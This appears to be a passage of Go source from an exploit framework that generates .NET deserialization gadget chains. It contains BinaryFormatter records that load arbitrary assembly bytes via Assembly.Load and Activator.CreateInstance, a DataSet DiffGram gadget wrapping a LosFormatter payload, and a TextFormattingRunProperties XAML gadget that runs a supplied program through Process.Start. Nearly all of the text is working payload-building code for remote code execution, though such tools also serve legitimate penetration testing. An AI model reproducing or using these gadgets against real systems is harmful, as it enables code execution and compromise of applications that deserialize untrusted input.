arraySingleObjectID31)\n\n\t// ASO O32\n\tarraySingleObjectID32 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    32,\n\t\t\tMemberCount: 2,\n\t\t},\n\t\tMembers: []any{\n\t\t\tBinaryObjectString{ObjectID: 65, Value: \"\"},\n\t\t\tMemberReferenceRecord{IDRef: 65},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID32)\n\n\t// SCWMT O36\n\tID36MemberNames := []string{\"Delegate\", \"method0\"}\n\tID36MemberTypeInfo, ok := getMemberTypeInfo([]string{\"SystemClass\", \"SystemClass\"}, ID36MemberNames, []any{\n\t\t\"System.DelegateSerializationHolder+DelegateEntry\",\n\t\t\"System.Reflection.MemberInfoSerializationHolder\",\n\t})\n\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsystemClassWithMembersAndTypesID36 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    36,\n\t\t\tName:        \"System.DelegateSerializationHolder\",\n\t\t\tMemberCount: len(ID36MemberNames),\n\t\t\tMemberNames: ID36MemberNames,\n\t\t},\n\t\tMemberTypeInfo: ID36MemberTypeInfo,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 66},\n\t\t\tMemberReferenceRecord{IDRef: 67},\n\t\t},\n\t}\n\trecords = append(records, systemClassWithMembersAndTypesID36)\n\n\t// CW O40\n\tclassWithIDRecordID40 := ClassWithIDRecord{\n\t\tObjectID:   40,\n\t\tMetadataID: 36,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 68},\n\t\t\tMemberReferenceRecord{IDRef: 69},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID40)\n\n\t// CW O44\n\tclassWithIDRecordID44 := ClassWithIDRecord{\n\t\tObjectID:   44,\n\t\tMetadataID: 36,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 70},\n\t\t\tMemberReferenceRecord{IDRef: 71},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID44)\n\n\t// CW O48\n\tclassWithIDRecordID48 := ClassWithIDRecord{\n\t\tObjectID:   48,\n\t\tMetadataID: 36,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 72},\n\t\t\tMemberReferenceRecord{IDRef: 73},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID48)\n\n\t// CW O49\n\tclassWithIDRecordID49 := ClassWithIDRecord{\n\t\tObjectID:   49,\n\t\tMetadataID: 36,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 74},\n\t\t\tMemberReferenceRecord{IDRef: 75},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID49)\n\n\t// CW O53\n\tclassWithIDRecordID53 := ClassWithIDRecord{\n\t\tObjectID:   53,\n\t\tMetadataID: 36,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 76},\n\t\t\tMemberReferenceRecord{IDRef: 77},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID53)\n\n\t// CW O59\n\tclassWithIDRecordID59 := ClassWithIDRecord{\n\t\tObjectID:   59,\n\t\tMetadataID: 4,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 78},\n\t\t\tMemberReferenceRecord{IDRef: 79},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID59)\n\n\t// SCWMT O66\n\tID66MemberNames := []string{\"type\", \"assembly\", \"target\", \"targetTypeAssembly\", \"targetTypeName\", \"methodName\", \"delegateEntry\"}\n\tID66MemberTypeInfo, ok := getMemberTypeInfo([]string{\"String\", \"String\", \"Object\", \"String\", \"String\", \"String\", \"SystemClass\"}, ID66MemberNames, []any{\n\t\t\"System.DelegateSerializationHolder+DelegateEntry\",\n\t})\n\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsystemClassWithMembersAndTypesID66 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    66,\n\t\t\tName:        \"System.DelegateSerializationHolder+DelegateEntry\",\n\t\t\tMemberCount: len(ID66MemberNames),\n\t\t\tMemberNames: ID66MemberNames,\n\t\t},\n\t\tMemberTypeInfo: ID66MemberTypeInfo,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 80, Value: \"System.Func`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tBinaryObjectString{ObjectID: 82, Value: \"System.Reflection.Assembly\"},\n\t\t\tBinaryObjectString{ObjectID: 83, Value: \"Load\"},\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, systemClassWithMembersAndTypesID66)\n\n\t// SCWMT O67\n\tID67MemberNames := []string{\"Name\", \"AssemblyName\", \"ClassName\", \"Signature\", \"Signature2\", \"MemberType\", \"GenericArguments\"}\n\tID67MemberTypeInfo, ok := getMemberTypeInfo([]string{\"String\", \"String\", \"String\", \"String\", \"String\", \"Primitive\", \"SystemClass\"}, ID67MemberNames, []any{\n\t\tPrimitiveTypeEnum[\"Int32\"],\n\t\t\"System.Type[]\",\n\t})\n\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tsystemClassWithMembersAndTypesID67 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    67,\n\t\t\tName:        \"System.Reflection.MemberInfoSerializationHolder\",\n\t\t\tMemberCount: len(ID67MemberNames),\n\t\t\tMemberNames: ID67MemberNames,\n\t\t},\n\t\tMemberTypeInfo: ID67MemberTypeInfo,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 83},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tMemberReferenceRecord{IDRef: 82},\n\t\t\tBinaryObjectString{ObjectID: 86, Value: \"System.Reflection.Assembly Load(Byte[])\"},\n\t\t\tBinaryObjectString{ObjectID: 87, Value: \"System.Reflection.Assembly Load(System.Byte[])\"},\n\t\t\t8,\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, systemClassWithMembersAndTypesID67)\n\n\t// CW O68\n\tclassWithIDRecordID68 := ClassWithIDRecord{\n\t\tObjectID:   68,\n\t\tMetadataID: 66,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 88, Value: \"System.Func`2[[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tMemberReferenceRecord{IDRef: 82},\n\t\t\tBinaryObjectString{ObjectID: 91, Value: \"GetTypes\"},\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID68)\n\n\t// CW O69\n\tclassWithIDRecordID69 := ClassWithIDRecord{\n\t\tObjectID:   69,\n\t\tMetadataID: 67,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 91},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tMemberReferenceRecord{IDRef: 82},\n\t\t\tBinaryObjectString{ObjectID: 94, Value: \"System.Type[] GetTypes()\"},\n\t\t\tBinaryObjectString{ObjectID: 95, Value: \"System.Type[] GetTypes()\"},\n\t\t\t8, // Corresponds with Val6 of the referenced object\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID69)\n\n\t// CW O70\n\tclassWithIDRecordID70 := ClassWithIDRecord{\n\t\tObjectID:   70,\n\t\tMetadataID: 66,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 96, Value: \"System.Func`2[[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 62},\n\t\t\tBinaryObjectString{ObjectID: 98, Value: \"System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tBinaryObjectString{ObjectID: 99, Value: \"GetEnumerator\"},\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID70)\n\n\t// CW O71\n\tclassWithIDRecordID71 := ClassWithIDRecord{\n\t\tObjectID:   0x47,\n\t\tMetadataID: 0x43,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 0x63},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tMemberReferenceRecord{IDRef: 0x62},\n\t\t\tBinaryObjectString{ObjectID: 0x66, Value: \"System.Collections.Generic.IEnumerator`1[System.Type] GetEnumerator()\"},\n\t\t\tBinaryObjectString{ObjectID: 0x67, Value: \"System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] GetEnumerator()\"},\n\t\t\t8, // Corresponds with referenced, like classWithID18\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID71)\n\n\t// CW O72\n\tclassWithIDRecordID72 := ClassWithIDRecord{\n\t\tObjectID:   0x48,\n\t\tMetadataID: 0x42,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 0x68, Value: \"System.Func`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tBinaryObjectString{ObjectID: 0x6a, Value: \"System.Collections.IEnumerator\"},\n\t\t\tBinaryObjectString{ObjectID: 0x6b, Value: \"MoveNext\"},\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID72)\n\n\t// CW O73\n\tclassWithIDRecordID73 := ClassWithIDRecord{\n\t\tObjectID:   0x49,\n\t\tMetadataID: 0x43,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 0x6b},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tMemberReferenceRecord{IDRef: 0x6a},\n\t\t\tBinaryObjectString{ObjectID: 0x6e, Value: \"Boolean MoveNext()\"},\n\t\t\tBinaryObjectString{ObjectID: 0x6f, Value: \"System.Boolean MoveNext()\"},\n\t\t\t8, // Corresponds with referenced, like classWithID18\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID73)\n\n\t// CW O74\n\tclassWithIDRecordID74 := ClassWithIDRecord{\n\t\tObjectID:   0x4a,\n\t\tMetadataID: 0x42,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 0x70, Value: \"System.Func`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tBinaryObjectString{ObjectID: 0x72, Value: \"System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tBinaryObjectString{ObjectID: 0x73, Value: \"get_Current\"},\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID74)\n\n\t// CW O75\n\tclassWithIDRecordID75 := ClassWithIDRecord{\n\t\tObjectID:   0x4b,\n\t\tMetadataID: 0x43,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 0x73},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tMemberReferenceRecord{IDRef: 0x72},\n\t\t\tBinaryObjectString{ObjectID: 0x76, Value: \"System.Type get_Current()\"},\n\t\t\tBinaryObjectString{ObjectID: 0x77, Value: \"System.Type get_Current()\"},\n\t\t\t8,\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID75)\n\n\t// CW O80\n\tclassWithIDRecordID80 := ClassWithIDRecord{\n\t\tObjectID:   0x4c,\n\t\tMetadataID: 0x42,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 0x78, Value: \"System.Func`2[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tObjectNullRecord{},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tBinaryObjectString{ObjectID: 0x7a, Value: \"System.Activator\"},\n\t\t\tBinaryObjectString{ObjectID: 0x7b, Value: \"CreateInstance\"},\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID80)\n\n\t// CW O81\n\tclassWithIDRecordID81 := ClassWithIDRecord{\n\t\tObjectID:   0x4d,\n\t\tMetadataID: 0x43,\n\t\tMemberValues: []any{\n\t\t\tMemberReferenceRecord{IDRef: 0x7b},\n\t\t\tMemberReferenceRecord{IDRef: 0x3e},\n\t\t\tMemberReferenceRecord{IDRef: 0x7a},\n\t\t\tBinaryObjectString{ObjectID: 0x7e, Value: \"System.Object CreateInstance(System.Type)\"},\n\t\t\tBinaryObjectString{ObjectID: 0x7f, Value: \"System.Object CreateInstance(System.Type)\"},\n\t\t\t8,\n\t\t\tObjectNullRecord{},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID81)\n\n\t// CW O82\n\tclassWithIDRecordID82 := ClassWithIDRecord{\n\t\tObjectID:   0x4e,\n\t\tMetadataID: 0xf,\n\t\tMemberValues: []any{\n\t\t\tBinaryObjectString{ObjectID: 0x80, Value: \"System.ComponentModel.Design.CommandID\"},\n\t\t\t4,\n\t\t\tMemberReferenceRecord{IDRef: 0x3a},\n\t\t},\n\t}\n\trecords = append(records, classWithIDRecordID82)\n\n\t// ASO O79\n\tarraySingleObjectID79 := ArraySingleObjectRecord{\n\t\tArrayInfo: ArrayInfo{\n\t\t\tObjectID:    0x4f,\n\t\t\tMemberCount: 2,\n\t\t},\n\t\tMembers: []any{\n\t\t\tMemberReferenceRecord{IDRef: 0x82},\n\t\t\tMemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum[\"Int32\"], Value: PrimitiveInt32(8192)},\n\t\t},\n\t}\n\trecords = append(records, arraySingleObjectID79)\n\n\t// SCWMT O130\n\tID130MemberNames := []string{\"_a\", \"_b\", \"_c\", \"_d\", \"_e\", \"_f\", \"_g\", \"_h\", \"_i\", \"_j\", \"_k\"}\n\tID130MemberTypeInfo, ok := getMemberTypeInfo([]string{\"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\"}, ID130MemberNames, []any{\n\t\tPrimitiveTypeEnum[\"Int32\"],\n\t\tPrimitiveTypeEnum[\"Int16\"],\n\t\tPrimitiveTypeEnum[\"Int16\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t\tPrimitiveTypeEnum[\"Byte\"],\n\t})\n\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsystemClassWithMembersAndTypesID130 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    130,\n\t\t\tName:        \"System.Guid\",\n\t\t\tMemberCount: len(ID130MemberNames),\n\t\t\tMemberNames: ID130MemberNames,\n\t\t},\n\t\tMemberTypeInfo: ID130MemberTypeInfo,\n\t\tMemberValues: []any{\n\t\t\tPrimitiveInt32(1959924499),\n\t\t\tPrimitiveInt16(10990),\n\t\t\tPrimitiveInt16(4561),\n\t\t\tPrimitiveByte(0x8b),\n\t\t\tPrimitiveByte(0xfb),\n\t\t\tPrimitiveByte(0x00),\n\t\t\tPrimitiveByte(0xa0),\n\t\t\tPrimitiveByte(0xc9),\n\t\t\tPrimitiveByte(0x0f),\n\t\t\tPrimitiveByte(0x26),\n\t\t\tPrimitiveByte(0xf7),\n\t\t},\n\t}\n\trecords = append(records, systemClassWithMembersAndTypesID130)\n\n\t// FINI\n\tvar recordStringBuilder strings.Builder\n\tfor _, record := range records {\n\t\trecordString, ok := record.ToRecordBin()\n\t\tif !ok {\n\t\t\treturn \"\", false\n\t\t}\n\t\trecordStringBuilder.WriteString(recordString)\n\t}\n\tfinalGadget += recordStringBuilder.String()\n\tfinalGadget += string(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(finalGadget), true\n\tcase BinaryFormatter:\n\t\treturn finalGadget, true\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'\")\n\n\t\treturn \"\", false\n\t}\n}\n\nfunc CreateDataSetXMLDiffGram(payloadIn string) (string, bool) {\n\tname0 := random.RandLettersRange(3, 9)\n\tname1 := random.RandLettersRange(3, 9)\n\tname2 := random.RandLettersRange(3, 9)\n\tstring0 := `<xs:schema xmlns=\"\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" id=\"` + name0 + `\">\n                <xs:element name=\"` + name0 + `\" msdata:IsDataSet=\"true\" msdata:UseCurrentLocale=\"true\">\n                    <xs:complexType>\n                        <xs:choice minOccurs=\"0\" maxOccurs=\"unbounded\">\n                            <xs:element name=\"` + name1 + `\">\n                                <xs:complexType>\n                                    <xs:sequence>\n                                        <xs:element name=\"` + name2 + `\" msdata:DataType=\"System.Collections.Generic.List` + \"`\" + `1[[System.Data.Services.Internal.ExpandedWrapper` + \"`\" + `2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" type=\"xs:anyType\" minOccurs=\"0\"/>\n                                    </xs:sequence>\n                                </xs:complexType>\n                            </xs:element>\n                        </xs:choice>\n                    </xs:complexType>\n                </xs:element>\n            </xs:schema>`\n\n\tb64String := make([]byte, base64.StdEncoding.EncodedLen(len(payloadIn)))\n\tbase64.StdEncoding.Encode(b64String, []byte(payloadIn))\n\tpayloadB64 := string(b64String)\n\n\tstring1 := `<diffgr:diffgram xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" xmlns:diffgr=\"urn:schemas-microsoft-com:xml-diffgram-v1\">\n                <` + name0 + `>\n                    <` + name1 + ` diffgr:id=\"Table\" msdata:rowOrder=\"0\" diffgr:hasChanges=\"inserted\">\n                        <` + name2 + ` xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n                            <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" >\n                                <ExpandedElement/>\n                                <ProjectedProperty0>\n                                    <MethodName>Deserialize</MethodName>\n                                    <MethodParameters>\n                                        <anyType xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xsi:type=\"xsd:string\">` + payloadB64 + `</anyType>\n                                    </MethodParameters>\n                                    <ObjectInstance xsi:type=\"LosFormatter\"></ObjectInstance>\n                                </ProjectedProperty0>\n                            </ExpandedWrapperOfLosFormatterObjectDataProvider>\n                        </` + name2 + `>\n                    </` + name1 + `>\n                </` + name0 + `>\n            </diffgr:diffgram>`\n\tlibraryID := 2\n\tbinaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: \"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}\n\tclassName := \"System.Data.DataSet\"\n\tmemberNames := []string{\"XmlSchema\", \"XmlDiffGram\"}\n\tvar memberValues []any\n\tvar additionalInfo []any\n\tmemberTypes := []string{\n\t\t\"String\",\n\t\t\"String\",\n\t}\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 3, Value: string0})\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 4, Value: string1})\n\tclassInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames}\n\tmemberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tclassWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: libraryID, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary}\n\tclassWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tbinLibString, _ := binaryLibrary.ToRecordBin()\n\n\tpayload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\treturn payload, true\n}\n\nfunc CreateTextFormattingRunProperties(program string, args string, formatter string) (string, bool) {\n\txmlData := fmt.Sprintf(`<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:X=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:S=\"clr-namespace:System;assembly=mscorlib\" xmlns:D=\"clr-namespace:System.Diagnostics;assembly=system\"><ObjectDataProvider X:Key=\"\" ObjectType=\"{X:Type D:Process}\" MethodName=\"Start\"><ObjectDataProvider.MethodParameters><S:String>%s</S:String><S:String>%s</S:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>`, program, args)\n\n\t// validate the XML\n\tif !IsValidXML([]byte(xmlData)) {\n\t\toutput.PrintfFrameworkError(\"Invalid XML, check for possible badchars, XML that was generated: %s\", xmlData)\n\n\t\treturn \"\", false\n\t}\n\n\tlibraryID := 2\n\tclassName := \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\"\n\tmembers := []string{\"ForegroundBrush\"}\n\n\tbinaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: \"Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\"}\n\tclassInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(members), MemberNames: members}\n\tmemberTypeInfo, ok := getMemberTypeInfo([]string{\"String\"}, members, nil) // corresponds to ForegroundBrush (a String)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tbinaryObject := BinaryObjectString{ObjectID: 3, Value: xmlData}\n\n\tvar memberValues []any\n\tmemberValues = append(memberValues, binaryObject)\n\tclassWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: libraryID, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary}\n\tclassWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tbinLibString, _ := binaryLibrary.ToRecordBin()\n\tpayload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(payload), true\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase SOAPFormatter:\n\t\txmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes})\n\t\tif !ok {\n\t\t\treturn \"\", false\n\t\t}\n\n\t\treturn xmlData, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\nfunc CreateDataSet(program string, args string, formatter string) (string, bool) {\n\t// Initial vars\n\tinnerTextFormattingProperties, ok := CreateTextFormattingRunProperties(program, args, BinaryFormatter)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tlibraryID := 2\n\tclassName := \"System.Data.DataSet\"\n\tbinaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: \"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}\n\n\t// MemberNames, then Types, then additional infos (for types that require it) all correspond to the memberValues\n\tvar memberValues []any\n\tvar additionalInfo []any\n\tvar innerMemberValues []any\n\tvar innerMemberTypeInfoAdditionalInfos []any\n\n\t// start creating OUTER classWithMembersAndTypes\n\t// start with arrays\n\tmemberNames := []string{\n\t\t\"DataSet.RemotingFormat\",\n\t\t\"DataSet.DataSetName\",\n\t\t\"DataSet.Namespace\",\n\t\t\"DataSet.Prefix\",\n\t\t\"DataSet.CaseSensitive\",\n\t\t\"DataSet.LocaleLCID\",\n\t\t\"DataSet.EnforceConstraints\",\n\t\t\"DataSet.ExtendedProperties\",\n\t\t\"DataSet.Tables.Count\",\n\t\t\"DataSet.Tables_0\",\n\t}\n\n\tmemberTypes := []string{\n\t\t\"Class\",\n\t\t\"String\",\n\t\t\"String\",\n\t\t\"String\",\n\t\t\"Primitive\",\n\t\t\"Primitive\",\n\t\t\"Primitive\",\n\t\t\"Object\",\n\t\t\"Primitive\",\n\t\t\"PrimitiveArray\",\n\t}\n\tadditionalInfo = append(additionalInfo, ClassTypeInfo{TypeName: \"System.Data.SerializationFormat\", LibraryID: libraryID})\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Boolean\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Boolean\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\n\tclassInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames}\n\tmemberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\t// Create INNER classWithMembersAndTypes to be used as a member/membervalue of the 'OUTER' classWithMembersAndTypes\n\tinnerMemberValues = append(innerMemberValues, 1)\n\tinnerMemberTypeInfoAdditionalInfos = append(innerMemberTypeInfoAdditionalInfos, PrimitiveTypeEnum[\"Int32\"])\n\tinnerMemberTypeInfo, ok := getMemberTypeInfo([]string{\"Primitive\"}, []string{\"value__\"}, innerMemberTypeInfoAdditionalInfos)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tinnerClassWithMembersAndTypes := ClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    -3,\n\t\t\tName:        \"System.Data.SerializationFormat\",\n\t\t\tMemberNames: []string{\"value__\"},\n\t\t},\n\t\tMemberTypeInfo: innerMemberTypeInfo,\n\t\tLibraryID:      libraryID,\n\t\tMemberValues:   innerMemberValues,\n\t\tBinaryLibrary:  binaryLibrary,\n\t}\n\n\t// Finish 